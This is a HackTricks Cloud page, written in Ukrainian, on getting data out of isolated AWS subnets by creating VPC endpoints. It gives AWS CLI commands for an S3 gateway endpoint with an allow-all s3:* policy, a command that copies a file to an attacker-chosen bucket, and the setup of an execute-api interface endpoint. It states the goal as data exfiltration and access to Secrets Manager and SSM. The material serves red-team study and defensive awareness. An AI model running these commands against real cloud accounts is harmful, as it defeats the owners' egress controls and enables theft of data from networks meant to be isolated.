AWS – Обхід виходу (egress) з ізольованих підмереж через VPC Endpoints
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Summary
Ця техніка зловживає VPC Endpoints для створення каналів ексфільтрації з підмереж без Internet Gateways або NAT. Gateway endpoints (наприклад, S3) додають префікс‑ліст маршрути в таблиці маршрутів підмереж; Interface endpoints (наприклад, execute-api, secretsmanager, ssm тощо) створюють доступні ENIs з приватними IP, захищені security groups. Маючи мінімальні дозволи VPC/EC2, нападник може дозволити контрольований egress, який не проходить через публічний Інтернет.
Prereqs: існуючий VPC і приватні підмережі (без IGW/NAT). Вам знадобляться дозволи на створення VPC endpoints і, для Option B, security group для приєднання до endpoint ENIs.
Option A – S3 Gateway VPC Endpoint
Variables
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- Створіть дозволяючий endpoint policy файл (необов'язково). Збережіть як
allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- Створіть S3 Gateway endpoint (додає маршрут S3 prefix‑list до вибраних таблиць маршрутів):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
Докази для фіксації:
aws ec2 describe-route-tables --route-table-ids $RTB_IDSпоказує маршрут до AWS S3 префікс-листа (наприклад,DestinationPrefixListId=pl-..., GatewayId=vpce-...).- З інстансу в цих підмережах (з IAM perms) можна exfil через S3 без доступу до інтернету:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
Варіант B – Interface VPC Endpoint for API Gateway (execute-api)
Змінні
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- Створіть interface endpoint і прикріпіть SG:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
Докази для збору:
aws ec2 describe-vpc-endpointsпоказує endpoint у станіavailableзNetworkInterfaceIds(ENIs у ваших підмережах).- Інстанси в цих підмережах можуть звертатися до Private API Gateway endpoints через відповідні VPCE ENIs (шлях до Інтернету не потрібен).
Вплив
- Обминає контроль вихідного трафіку на периметрі, використовуючи приватні шляхи, керовані AWS, до сервісів AWS.
- Дозволяє data exfiltration з ізольованих підмереж (наприклад, запис у S3; виклики до Private API Gateway; доступ до Secrets Manager/SSM/STS тощо) без IGW/NAT.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud